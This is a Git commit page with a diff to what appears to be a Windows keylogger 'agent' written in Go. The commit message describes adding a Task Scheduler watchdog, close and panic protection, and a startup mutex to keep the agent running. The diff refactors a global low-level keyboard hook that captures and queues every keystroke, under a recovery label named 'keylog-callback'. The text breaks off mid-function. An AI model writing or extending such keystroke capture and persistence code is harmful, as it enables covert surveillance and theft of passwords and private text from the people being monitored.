fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex
This commit is contained in:
2026-09-01 23:12:22 +03:00
parent e7982c5487
commit e74f74bc4e
20 changed files with 365 additions and 91 deletions
+30 -17
View File
@@ -146,28 +146,41 @@ func runHookThread(ready chan struct{}) error {
func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
if code >= 0 {
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
switch wParam {
case wmKeydown, wmSyskeydown:
if isModifierVK(kb.VkCode) {
hookMods.update(kb.VkCode, true)
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
select {
case hookEvents <- event:
default:
// ponytail: drop when full; upgrade path is larger buffer
}
}
case wmKeyup, wmSyskeyup:
if isModifierVK(kb.VkCode) {
hookMods.update(kb.VkCode, false)
}
}
handleHookEvent(wParam, lParam)
}
ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
return ret
}
func handleHookEvent(wParam, lParam uintptr) {
defer helpers.RecoverLog("keylog-callback")
kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
switch wParam {
case wmKeydown, wmSyskeydown:
if isModifierVK(kb.VkCode) {
hookMods.update(kb.VkCode, true)
} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
enqueueKey(event)
}
case wmKeyup, wmSyskeyup:
if isModifierVK(kb.VkCode) {
hookMods.update(kb.VkCode, false)
}
}
}
func enqueueKey(event Event) {
ch := hookEvents
if ch == nil {
return
}
select {
case ch <- event:
default:
// ponytail: drop when full; upgrade path is larger buffer
}
}
func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
injected := kb.Flags&llkhfInjected != 0
if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {